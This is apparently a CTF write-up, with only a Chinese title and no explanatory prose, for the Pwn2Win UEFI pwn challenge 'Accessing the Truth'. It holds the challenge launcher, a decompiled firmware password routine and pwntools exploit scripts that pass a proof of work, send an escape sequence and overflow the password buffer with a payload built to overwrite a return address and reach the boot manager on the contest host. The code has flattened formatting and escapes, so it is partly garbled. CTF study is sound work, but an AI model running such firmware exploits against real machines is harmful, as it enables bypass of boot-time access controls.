【技术分享】解决第一个UEFI PWN——Accessing the Truth解题思路

#!/usr/bin/python3 -uimport randomimport stringimport subprocessimport tempfiledef random_string(n):    return ''.join(random.choice(string.ascii_lowercase) for _ in range(n))def check_pow(bits):    r = random_string(10)    print(f"hashcash -mb{bits} {r}")    solution = input("Solution: n").strip()    if subprocess.call(["hashcash", f"-cdb{bits}", "-r", r, solution],                       cwd="/tmp",                       stdout=subprocess.DEVNULL,                       stderr=subprocess.DEVNULL) != 0:        raise Exception("Invalid PoW")#check_pow(25)fname = tempfile.NamedTemporaryFile().namesubprocess.call(["cp", "OVMF.fd", fname])try:  subprocess.call(["chmod", "u+w", fname])  subprocess.call(["qemu-system-x86_64",                   "-monitor", "/dev/null",                   "-m", "64M",                   "-drive", "if=pflash,format=raw,file=" + fname,                    "-drive", "file=fat:rw:contents,format=raw",                   "-net", "none",                   "-nographic"], stderr=subprocess.DEVNULL, timeout=60)except:  passsubprocess.call(["rm", "-rf", fname])print("Bye!")

int __cdecl main(int argc, const char **argv, const char **envp){  void *v3; // rsp  void *v4; // rsp  __int64 v5; // rdx  __int64 v6; // r8  __int64 v7; // r9  size_t v8; // rdx  __int64 v9; // r8  __int64 v10; // r9  char *buf; // rdx  unsigned __int64 v12; // rax  __int64 v13; // rdx  __int64 v14; // r8  __int64 v15; // r9  char v17[7]; // [rsp+20h] [rbp-60h] BYREF  char c; // [rsp+27h] [rbp-59h]  char *input_buf; // [rsp+28h] [rbp-58h]  __int64 v20; // [rsp+30h] [rbp-50h]  char *v21; // [rsp+38h] [rbp-48h]  __int64 v22; // [rsp+40h] [rbp-40h]  size_t v23; // [rsp+48h] [rbp-38h]  unsigned __int64 v24; // [rsp+50h] [rbp-30h]  __int64 index; // [rsp+58h] [rbp-28h]  v24 = 0i64;  index = -1i64;  v23 = 32i64;  v22 = 31i64;  v3 = alloca(32i64);  v21 = v17;  v20 = 31i64;  v4 = alloca(32i64);  input_buf = v17;  wputs(word_1395A, 15i64, 32i64, 0i64);  while ( v24 <= 2 )  {    sub_9D3(input_buf, v23, 0i64);    index = -1i64;    wputs(L"Enter Password: n", v5, v6, v7);    while ( 1 )    {      c = getchar();      ++index;      if ( c == 'r' )        break;      if ( c != 'n' )      {        buf = &input_buf[index];        *buf = c;        wputs(L"*", buf, v9, v10);        v12 = wstr_length(input_buf);        v8 = v23 - 1;        if ( v12 >= v23 - 1 )          break;      }    }    wputs(L"n", v8, v9, v10);    sha256_process(input_buf, index, v21);    if ( !((__int64 (__fastcall *)(char *, void *, size_t))memcmp)(v21, &unk_1B840, v23) )      return 1;    wputs(L"Wrong!!n", v13, v14, v15);    ++v24;  }  return 0;}

from pwn import *context.arch = "amd64"context.log_level = "debug"tube.s = tube.sendtube.sl = tube.sendlinetube.sa = tube.sendaftertube.sla = tube.sendlineaftertube.r = tube.recvtube.ru = tube.recvuntiltube.rl = tube.recvlinetube.ra = tube.recvalltube.rr = tube.recvregextube.irt = tube.interactiveDEBUG = 1if DEBUG == 0:    fname = "/tmp/test_uefi"    os.system("cp OVMF.fd %s" % (fname))    os.system("chmod u+w %s" % (fname))    p = process(["qemu-system-x86_64", "-m", "64M", "-drive", "if=pflash,format=raw,file="+fname, "-drive",                    "file=fat:rw:contents,format=raw", "-net", "none", "-nographic"], env={})elif DEBUG == 1:    fname = "/tmp/test_uefi"    os.system("cp OVMF.fd %s" % (fname))    os.system("chmod u+w %s" % (fname))    p = process(["qemu-system-x86_64", "-s", "-m", "64M", "-drive", "if=pflash,format=raw,file="+fname, "-drive",                    "file=fat:rw:contents,format=raw", "-net", "none", "-nographic"], env={})elif DEBUG == 2:    p = remote('accessing-the-truth.pwn2win.party', 1337)def exploit():    p.recvn(1)    # sleep(1)    p.send("x1b[24~")    p.irt()if __name__ == "__main__":    exploit()

def exploit():    p.recvn(1)    # sleep(1)    p.send("x1b[24~")    #print(p.recvuntil("Password"))    pause()    p.sa('Password', 'A'*2+'n'*2+'B'*0x18+'r')    p.irt()

payload = b'n'*0xa8 + p32(0xdeadbeaf)payload += b'r'

socat -,raw,echo=0 SYSTEM:"python ./solve.py"

#socat STDIO,icanon=0,echo=0 SYSTEM:"python ./solve.py"#socat -,raw,echo=0 SYSTEM:"python ./solve.py"from pwn import *context.arch = "amd64"#context.log_level = "debug"tube.s = tube.sendtube.sl = tube.sendlinetube.sa = tube.sendaftertube.sla = tube.sendlineaftertube.r = tube.recvtube.ru = tube.recvuntiltube.rl = tube.recvlinetube.rn = tube.recvntube.ra = tube.recvalltube.rr = tube.recvregextube.irt = tube.interactiveDEBUG = 1if DEBUG == 0:    fname = "/tmp/test_uefi"    os.system("cp OVMF.fd %s" % (fname))    os.system("chmod u+w %s" % (fname))    p = process(["qemu-system-x86_64", "-s", "-m", "64M", "-drive", "if=pflash,format=raw,file="+fname, "-drive",                    "file=fat:rw:contents,format=raw", "-net", "none", "-nographic"], env={})elif DEBUG == 1:    p = remote('accessing-the-truth.pwn2win.party', 1337)def pass_pow():    p.ru('hashcash -mb25')    hash = p.rl().strip()    cmd = 'hashcash -mb25 '+hash.decode(encoding="utf-8")    res = os.popen(cmd)    cash = res.read()    res.close()    p.sa('Solution:', cash)def exploit():    pass_pow()    p.rn(1)    p.s('x1b[24~'*10)    #pause()    #p.sa('Password', 'A'*2+'n'*2+'B'*0x18+'r')    #payload = 'A'*2+'n'*2+'B'*0x18+'r'    #payload = b'n'*0xa8 + p32(0xdeadbeaf)    #payload += b'r'    payload = b'n'*0xa8 + p32(0x28b0dd5)    payload += b'r'    #pause()    p.sa('Password', payload)    payload = 'r'    p.s(payload)    p.s(payload)    p.irt()if __name__ == "__main__":    exploit()